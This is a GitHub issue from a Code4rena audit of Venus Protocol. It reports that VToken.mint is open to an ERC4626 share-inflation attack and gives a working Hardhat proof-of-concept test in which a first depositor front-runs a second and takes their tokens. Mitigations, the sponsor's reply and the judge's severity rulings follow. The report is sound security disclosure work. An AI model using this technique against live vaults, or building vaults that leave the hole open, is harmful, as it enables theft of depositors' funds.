Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

VToken.mint is vulnerable to ERC4626 inflation attack #314

Closed
code423n4 opened this issue May 15, 2023 · 10 comments
Closed

VToken.mint is vulnerable to ERC4626 inflation attack #314

code423n4 opened this issue May 15, 2023 · 10 comments
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue duplicate-220 edited-by-warden satisfactory satisfies C4 submission criteria; eligible for awards sponsor disputed Sponsor cannot duplicate the issue, or otherwise disagrees this is an issue

Comments

@code423n4
Copy link
Contributor

code423n4 commented May 15, 2023

Lines of code

https://github.com/code-423n4/2023-05-venus/blob/main/contracts/VToken.sol#L743
https://github.com/code-423n4/2023-05-venus/blob/main/contracts/VToken.sol#L756
https://github.com/code-423n4/2023-05-venus/blob/main/contracts/VToken.sol#L1476

Vulnerability details

Impact

VToken.mint is vulnerable to ERC4626 inflation attack.
The first depositor may steal all the underlying tokens from the second one.

Proof of Concept

Copy and paste this test in mintAndRedeemTest.ts L248 before mint tests.
https://github.com/code-423n4/2023-05-venus/blob/main/tests/hardhat/Tokens/mintAndRedeemTest.ts#L248

  describe.only("mint - ERC4626 inflation attack", () => {
    it("minter2 transferred 1e18 underlying token but get 0 VToken", async () => {
      const minter2 = redeemer;
      // 1. Minter1 mints not to use initialExchangeRate next time
      await quickMint(underlying, vToken, minter, 1); // totalSupply is 1

      // 2. Front running: Minter1 transfers the same amount of underlying token to VToken
      const mintAmount = convertToUnit("1", 18);
      await preApprove(underlying, vToken, minter, mintAmount, {faucet: true});
      await underlying.connect(minter).transfer(vToken.address, mintAmount);

      // 3. Minter2 wants to mint by giving `mintAmount` underlying tokens.
      await quickMint(underlying, vToken, minter2, mintAmount);

      // 4. But he receives mintAmount / (1 + mintAmount) = 0 VToken.
      expect(await vToken.balanceOf(await minter2.getAddress())).to.equal(0);

      // 5. Minter1 takes all.
      await quickRedeem(vToken, minter, 2000000000000000001n);
      expect(await underlying.balanceOf(await minter.getAddress())).to.equal(2000000000000000001n);
    });
  });

Tools Used

Manual review and hardhat tests.

Recommended Mitigation Steps

  1. Keeping track of the total assets internally
  2. Creating "dead shares"
    Reference: Implement or recommend mitigations for ERC4626 inflation attacks OpenZeppelin/openzeppelin-contracts#3706 (comment)

Assessed type

ERC4626

@code423n4 code423n4 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels May 15, 2023
code423n4 added a commit that referenced this issue May 15, 2023
@c4-judge c4-judge added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value downgraded by judge Judge downgraded the risk level of this issue and removed 3 (High Risk) Assets can be stolen/lost/compromised directly labels May 17, 2023
@c4-judge
Copy link
Contributor

0xean changed the severity to 2 (Med Risk)

@c4-judge c4-judge added the primary issue Highest quality submission among a set of duplicates label May 17, 2023
@c4-judge
Copy link
Contributor

0xean marked the issue as primary issue

@c4-sponsor
Copy link

chechu marked the issue as sponsor disputed

@c4-sponsor c4-sponsor added the sponsor disputed Sponsor cannot duplicate the issue, or otherwise disagrees this is an issue label May 23, 2023
@chechu
Copy link

chechu commented May 23, 2023

The attack would indeed be feasible if we didn’t require initial supply

@0xean
Copy link

0xean commented May 30, 2023

@chechu - can you point me to this in the codebase?

@chechu
Copy link

chechu commented May 31, 2023

Our fault, we allow an initial supply, but we don't require it. https://github.com/code-423n4/2023-05-venus/blob/main/contracts/Pool/PoolRegistry.sol#L321

The origin of the confusion is that we'll provide, for sure, an initial supply on every market that we'll add to the PoolRegistry, and the process to add new markets is under the control of the Governance (so, the community will have to vote for it). For that reason, we really assumed that there will be an initial supply, but now we realized we are not requiring it in the code. We'll do it, just to avoid any confusion or potential error.

We won't integrate the Oracles, but the initial idea is to provide at least $10,000 as an initial supply on each new market. That "check" will be done externally, when the VIP is prepared to be proposed to the community

@c4-judge
Copy link
Contributor

c4-judge commented Jun 5, 2023

0xean marked the issue as satisfactory

@c4-judge c4-judge added satisfactory satisfies C4 submission criteria; eligible for awards 3 (High Risk) Assets can be stolen/lost/compromised directly upgraded by judge Original issue severity upgraded from QA/Gas by judge and removed 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value downgraded by judge Judge downgraded the risk level of this issue labels Jun 5, 2023
@c4-judge
Copy link
Contributor

c4-judge commented Jun 5, 2023

0xean changed the severity to 3 (High Risk)

@c4-judge c4-judge removed 3 (High Risk) Assets can be stolen/lost/compromised directly upgraded by judge Original issue severity upgraded from QA/Gas by judge labels Jun 5, 2023
@c4-judge
Copy link
Contributor

c4-judge commented Jun 5, 2023

0xean changed the severity to 2 (Med Risk)

@c4-judge c4-judge added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value downgraded by judge Judge downgraded the risk level of this issue labels Jun 5, 2023
@c4-judge c4-judge closed this as completed Jun 5, 2023
@c4-judge c4-judge added duplicate-220 and removed primary issue Highest quality submission among a set of duplicates labels Jun 5, 2023
@c4-judge
Copy link
Contributor

c4-judge commented Jun 5, 2023

0xean marked issue #220 as primary and marked this issue as a duplicate of 220

@midori-fuse midori-fuse mentioned this issue Jun 6, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue duplicate-220 edited-by-warden satisfactory satisfies C4 submission criteria; eligible for awards sponsor disputed Sponsor cannot duplicate the issue, or otherwise disagrees this is an issue
Projects
None yet
Development

No branches or pull requests

5 participants